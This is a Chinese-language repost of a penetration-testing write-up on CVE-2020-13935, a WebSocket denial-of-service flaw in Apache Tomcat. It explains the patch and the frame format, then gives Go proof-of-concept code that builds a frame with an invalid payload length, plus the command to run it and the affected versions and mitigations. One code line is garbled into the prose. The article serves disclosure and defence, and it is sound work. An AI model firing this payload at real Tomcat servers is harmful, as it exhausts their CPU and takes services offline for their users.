深入分析Apache Tomcat中的WebSocket漏洞

2021-02-19 嘶吼專業版

在本文中,我們將與讀者一起深入分析Apache Tomcat中的WebSocket漏洞。

概述

Apache Tomcat是一種Java應用程式伺服器,常用於Web應用程式,我們在滲透測試中經常會遇到它。

在這篇文章中,我們將深入分析Apache Tomcat伺服器中近期曝出的一個漏洞及其利用方法,以幫助該軟體的用戶評估其面臨的業務風險。該漏洞是與WebSockets一起出現的拒絕服務漏洞,並且已分配了漏洞編號CVE-2020-13935。

在滲透測試期間,我們經常會碰到用戶運行過時版本的Apache Tomcat的情況。如果一個給定的版本包含漏洞,並且供應商(或維護者)已經發布了相應的安全更新,我們就會將該版本的軟體歸類為「過時的」。然而,有些漏洞只有在特定情況下才能被利用,而升級Web應用伺服器的代價通常會比較高昂。因此,用戶必須掌握簡單明了的信息,才能對該漏洞是否影響特定產品以及是否值得升級做出明智的決定。不幸的是,並不是所有的供應商/維護者在安全方面都會提供簡單明了的信息。

Apache Tomcat 9.0.37的版本說明顯示,已於2020年7月發現並修復了一個漏洞,相關內容如下所示:

WebSocket框架中的有效載荷的長度未能進行正確驗證,而無效的有效載荷長度可能會觸發無限循環,最終,過多的有效載荷長度無效的請求可能導致拒絕服務。

實際上,由於這些信息含糊不清,導致以下疑惑:

· 無效的有效載荷長度由哪些部分構成?

· 發生的是哪種拒絕服務?CPU被耗盡,還是內存被耗盡?甚至直接發生崩潰?

· 在什麼情況下應用程式容易受到攻擊?Apache Tomcat何時解析WebSocket消息?

· 攻擊者需要進行哪些投資?攻擊過程是否需要大量帶寬或計算能力?

· 如果無法升級的話,是否有變通的解決方案?

這些問題可以通過一些分析來回答,並且這也是我們滲透測試任務的一部分。

分析安全補丁

我們對Apache安全團隊針對該漏洞的安全補丁進行了分析後發現,他們通過在java/org/apache/tomcat/websocket/wsFrameBase.java中添加了如下所示的代碼,來修復該漏洞的(為了便於閱讀,這裡重新對代碼進行了格式化):

// The most significant bit of those 8 bytes is required to be zero

// (see RFC 6455, section 5.2). If the most significant bit is set,

// the resulting payload length will be negative so test for that.

if (payloadLength < 0) {

    throw new WsIOException(

        new CloseReason(

            CloseCodes.PROTOCOL_ERROR,

            sm.getString("wsFrame.payloadMsbInvalid")

        )

    );

}

正如我們所看到的,這裡添加了對有效載荷長度欄位的額外檢查,該欄位的類型為long,如果值為負,則引發異常。但是有效載荷長度怎麼可能是負值呢?

為了回答這個問題,讓我們需要了解一下WebSocket數據幀的結構;根據相應RFC的描述:

0                   1                   2                   3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+--+-+---+-+

|F|R|R|R| opcode|M| Payload len |    Extended payload length    |

|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |

|N|V|V|V|       |S|             |   (if payload len==126/127)   |

| |1|2|3|       |K|             |                               |

+-+-+-+-+--+-+---+ - - - - - - - - - - - - - - - +

|     Extended payload length continued, if payload len == 127  |

+ - - - - - - - - - - - - - - - +-+

|                               |Masking-key, if MASK set to 1  |

+-+-+

| Masking-key (continued)       |          Payload Data         |

+-- - - - - - - - - - - - - - - - +

:                     Payload Data continued ...                :

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

|                     Payload Data continued ...                |

+---+

如上圖所示,一個數據幀的前16位包含多個位標誌以及7位有效載荷長度。如果將此有效載荷長度設置為127(二進位值為1111111),則應該使用所謂的64位的擴展有效載荷長度。此外,WebSocket RFC規定:

如果[7位有效載荷長度的值為]127,則後面的8個字節(最高有效位必須為0)將被解釋為64位無符號整數,也就是有效載荷長度。

儘管該欄位顯然是一個64位無符號整數,但RFC卻要求最高有效位為零,這似乎是一個特殊的選擇。也許做出這種選擇是為了提供與有符號版本的互操作性,但是卻可能會引起混亂,甚至導致安全漏洞。

編寫漏洞利用代碼

接下來,我們將通過Go語言來實現概念驗證代碼。您可能會問為什麼要用Go語言呢?很簡單,因為我們覺得Go是一門非常棒的語言,不僅支持並發性,同時還為WebSockets提供了許多好用的代碼庫。此外,我們還能夠根據需要為任何平臺交叉編譯PoC。

下面,讓我們按照規範要求構建這樣一個WebSocket幀:它被Apache Tomcat解析時,有效載荷長度將是一個負值。首先,需要選擇位標誌FIN、RSV1、RSV2和RSV3的值。其中,標誌位FIN用於指示消息的最後一幀。由於我們要發送的整個消息都包含在單個幀中,因此,我們將該位設置為1。而另外的三個RSV位是為將來使用和擴展WebSocket規範而保留的,因此,它們都被設置為0。此外,opcode欄位(4位)用於表示發送的數據的類型,因此,該值必須有效,否則將丟棄該幀。就這裡來說,由於要要發送的是一個簡單的文本有效載荷,所以必須將該欄位的值設置為1。同時,Go庫github.com/gorilla/websocket還為我們提供了一個要用到的常量。這樣,我們就可以構造惡意WebSocket幀的第一個字節了:

var buf bytes.Buffer

fin := 1

rsv1 := 0

rsv2 := 0

rsv3 := 0

opcode := websocket.TextMessage

buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

第二個字節的第一個二進位位是MASK位,在從客戶端發送到伺服器的幀中,MASK位必須設置為1。我們最感興趣的部分是有效載荷長度,因為它的大小是可變的。如果WebSocket消息的有效載荷長度不超過125位元組,則可直接在7位有效載荷長度欄位中對長度進行編碼。對於長度在126和65535之間的有效載荷,7位有效載荷長度欄位將被設置為常數126,並且有效載荷長度在接下來的兩個字節中被編碼為16位無符號整數。對於較大的有效載荷,必須將7位有效載荷長度欄位設置為127,並且接下來的四個字節將有效載荷長度編碼為64位無符號整數。如前所述,對於以64位定義的有效載荷長度,根據規範,最高有效位(MSB)必須設置為零。為了在Apache Tomcat中觸發易受攻擊的代碼路徑,我們需要指定64位的有效載荷長度,並將MSB設置為1,因此,我們需要將7位有效載荷長度欄位設置為11111111:

// always set the mask bit

// indicate 64 bit message length

buf.WriteByte(byte(1<<7 | 0b1111111))

為了構建一個有效載荷長度無效的數據幀,以觸發Apache Tomcat實現中的錯誤行為,我們需要將後面八個字節設置為0xFF:

// set msb to 1, violating the spec and triggering the bug

buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

隨後的四個字節是掩碼密鑰(masking key)。按照規範的要求,它必須是一個來自強熵源的32位隨機值,但由於我們已經違反了規範,所以,我們不妨使用一個靜態掩碼密鑰,以使代碼更容易閱讀:

// 4 byte masking key

// leave zeros for now, so we do not need to mask

maskingKey := []byte不過,實際有效載荷本身可以小於指定長度:

// write an incomplete message

buf.WriteString("test")

數據包的組裝和傳輸代碼如下所示。為了更好地進行測試,我們將在發送以下內容後,讓連接繼續保持打開狀態30秒:

ws, _, err := websocket.DefaultDialer.Dial(url, nil)

if err != nil {

    return fmt.Errorf("dial: %s", err)

}

_, err = ws.UnderlyingConn().Write(buf.Bytes())

if err != nil {

    return fmt.Errorf("write: %s", err)

}

// keep the websocket connection open for some time

time.Sleep(30 * time.Second)

完整的概念驗證代碼可從github.com/RedTeamPentesting/CVE-2020-13935下載。

現在,我們只需運行go build命令,即可生成可執行文件。為了測試該程序,可以設置一個易受攻擊的Apache Tomcat實例,並以安裝時提供的WebSocket示例作為我們的測試目標:

$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic

這就是利用拒絕服務漏洞所需的全部操作。如果一個易受攻擊的WebSocket端點現在成為我們的目標,並且向其發送多個惡意請求,那麼它的CPU使用率將會迅速上升,伺服器就會變得反應遲鈍,直至毫無響應。

請注意,解析代碼僅由實際需要WebSocket消息的端點觸發。我們不能向任意的Tomcat HTTP端點發送這樣的消息。

根據相應的漏洞描述,以下版本的Apache Tomcat將受到該漏洞的影響:

· 10.0.0-M1 to 10.0.0-M6

· 9.0.0.M1 to 9.0.36

· 8.5.0 to 8.5.56

· 7.0.27 to 7.0.104

安全建議

如果可能的話,請將您的Apache Tomcat伺服器更新到最新版本。然而,在某些情況下,更新方案可能是不可行的,或成本太高。在這種情況下,您應該檢測自己的產品是否存在漏洞。如上所述,該漏洞只能在WebSockets端點上觸發。因此,禁用或限制對這些端點的訪問能夠緩解這個安全問題。請注意,內置的示例目錄也包含處理WebSockets的端點。

以上就是所有的內容,祝大家閱讀愉快!

參考及來源:https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/

相關焦點

  • Apache Tomcat高危安全漏洞風險提示
    根據公告,當Tomcat使用NTFS文件系統從網絡位置提供資源時,存在未授權查看JSP原始碼的漏洞,導致信息洩露效果,建議及時更新到漏洞修復的版本。Apache Tomcat歷史安全公告請參考:Apache Tomcat 10.x版本http://tomcat.apache.org/security-10.htmlApache Tomcat 9.x版本http://tomcat.apache.org/security-9.htmlApache Tomcat 8.5
  • Tomcat 又爆出高危漏洞!Tomcat 8.5~10 中招…
    不要使用含有漏洞的組件每次也都被評為 OWASP 10 大安全漏洞之一。光這半年以來,棧長知道的,就有 Dubbo、FastJSON、Tomcat。2020/06/25 這天 Tomcat 又爆出 HTTP/2 拒絕服務漏洞:http://mail-archives.apache.org/mod_mbox/www-announce/202006.mbox/%3cfd56bc1d-1219-605b-99c7-946bf7bd8ad4@apache.org%3e
  • Apache Tomcat文件包含漏洞(CVE-2020-1938)安全通告
    目前,Apache官方已發布9.0.31、8.5.51及7.0.100版本對此漏洞進行修復,建議用戶儘快升級新版本。官方下載連結:http://tomcat.apache.org/download-70.cgihttp://tomcat.apache.org/download-80.cgihttp://tomcat.apache.org/download-90.cgi新華三IPS規則庫將在1.0.87版本支持對該漏洞的攔截,建議關注新華三官網及時升級版本並使能相關規則
  • Tomcat 爆出高危漏洞!
    (CNVD) 收錄了 CNVD-2020-10487 Apache Tomcat文件包含漏洞。CNVD 對該漏洞的綜合評級為「高危」。3.2 代碼分析漏洞產生的主要位置在處理Ajp請求內容的地方org.apache.coyote.ajp.AbstractAjpProcessor.java#prepareRequest()
  • Apache Tomcat WebSocket拒絕服務漏洞EXP公開,黑客攻擊即將到來,騰訊安全全面檢測
    CVE-2020-13935,WebSocket拒絕服務漏洞,漏洞等級為重要。 ApacheTomcat WebSocket幀中的有效負載長度未正確驗證,無效的有效載荷長度可能會觸發無限循環,多有效負載長度無效的請求可能會導致拒絕服務。
  • 【通告更新】Apache Tomcat伺服器文件包含漏洞安全風險通告第三次更新
    本次更新內容如下: 1、針對此漏洞的PoC和EXP已經在網際網路公開和傳播 2、此漏洞被分配了CVE編號 3、本次更新新增奇安信開源衛士針對該漏洞的產品防護方案4、更新了技術分析Tomcat是Apache軟體基金會Jakarta 項目中的一個核心項目,作為目前比較流行的Web應用伺服器,深受Java愛好者的喜愛
  • Tomcat 又爆出高危漏洞!!Tomcat 8.5 ~ 10 中招…
    不要使用含有漏洞的組件每次也都被評為 OWASP 10 大安全漏洞之一。https://mp.weixin.qq.com/s/SWKbpOHCyK7ZPc6AokaHGw前段時間這個 Tomcat AJP 協議漏洞大躁,2020/06/25 這天 Tomcat 又爆出 HTTP/2 拒絕服務漏洞:http://mail-archives.apache.org/mod_mbox
  • Apache Tomcat 7.x安全加固指南
    有關補丁的可用性和嚴重性的信息,請參見http://tomcat.apache.org/lists.html#tomcat-announce。 更新可能會影響功能。關於核心/業務方面的Tomcat的更新可能帶來的副作用,請查看http://tomcat.apache.org/lists.html#tomcat-announce。
  • apache和tomcat區別
    作者:瓦裡奧cnblogs.com/warioland/archive/2011/12/05/2276729.html經常在用apache和tomcat等這些伺服器,可是總感覺還是不清楚他們之間有什麼關係,在用tomcat的時候總出現apache
  • Tomcat 服務本地提權漏洞預警
    漏洞相關信息: CVE ID: 漏洞原理:在Debian系統的Linux上管理員通常利用apt-get進行包管理,deb包是Unixar的標準歸檔,講包文件信息以及包內容該問題出在Tomcat的deb包中,使 deb包安裝的Tomcat程序會自動為管理員安裝一個啟動腳本,該腳本位於/etc/init.d/tomcat*, 跟蹤代碼如下: 171     # Run the catalina.sh script as a daemon172    set +e 
173
  • Apache Tomcat文件包含漏洞風險大,威脅全球約8萬臺伺服器
    CNVD(國家信息安全漏洞共享平臺)公告知名Web應用伺服器Apache Tomcat被爆存在文件包含漏洞,攻擊者可構造惡意的請求包進行文件包含操作
  • Apache Tomcat 安裝與配置教程
    .exe服務就是起不來,搗鼓了半天,後來發現是jre環境變量配置的問題,小編和大家分享下apache-tomcat服務搭建過程和注意事項。2、下載apache-tomcat 8.0服務安裝包。三、安裝apache-tomcat1、解壓下載好的apache-tomcat-8.0.1-windows-x64.zip程序,然後將解壓的apache-tomcat-8.0.9
  • Java中Websocket使用實例解讀
    version 10+SafariSupported in version 5+服務端依賴Tomcat 7.0.47以上 + J2EE7<dependency>    <groupId>org.apache.tomcat</groupId>      <
  • Tomcat深入理解
    ><Server port="8005" shutdown="SHUTDOWN">      <Listener className="org.apache.catalina.core.AprLifecycleListener" />      <Listener className="org.apache.catalina.core.JasperListener
  • websocket-fuzzer : WebSocket Fuzz 測試工具;Bash讀取/etc/passwd技巧
    ,惡意軟體分析,動態二進位分析,堆棧和整數溢出,尋找漏洞,漏洞利用exp編寫。: WebSocket Fuzz 測試工具websocket-fuzzer用於應用程式滲透測試時簡單websocket fuzzer。
  • Apache Struts2--061遠程代碼執行漏洞復現
    Apache Struts於2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞,開發人員使用了 %{…} 語法,從而攻擊者可以通過構Payload,從而造成遠程代碼執行。該漏洞編號為 CVE-2020-17530 ,漏洞等級:高危 ,漏洞評分:7.5S2-061是對S2-059沙盒進行的繞過!
  • 由Apache Commons Collections漏洞引發的思考
    二、Dubbo遠程代碼執行demo重新思考了下這個漏洞,給出一個dubbo rpc遠程代碼執行的例子「見參考」。可以說很多公司開放的rpc,只要協議裡支持Java序列化方式,classpath裡有apache commons collections的jar包,都存在被遠程代碼執行的風險。
  • 針對Tomcat文件包含高危漏洞 | 黑盾雲提供在線免費檢測
    2月20日,國家信息安全漏洞共享平臺(CNVD)發布關於Apache Tomcat的安全公告,該漏洞綜合評級為高危,漏洞 CVE 編號
  • 在Linux上安裝Apache Tomcat完整指南
    在本教程中,我們將討論v8.5的Apache Tomcat安裝。如有變動請閱讀原文:http://www.linuxidc.com/Linux/2018-02/150792.htm必要條件要安裝Tomcat 8.5,我們將需要JAVA 7或更高版本。 所以首先我們需要在我們的系統上安裝和設置JAVA。
  • 由 Apache Commons Collections 漏洞引發的思考
    commons collections 3.2.2修復漏洞新版本的apache commons collections默認禁止了不安全的一些轉換類。可以通過升級來修復漏洞。參考release說明:https://commons.apache.org/proper/commons-collections/release_3_2_2.htmlDubbo rpc遠程代碼執行的例子重新思考了下這個漏洞,給出一個dubbo rpc遠程代碼執行的例子。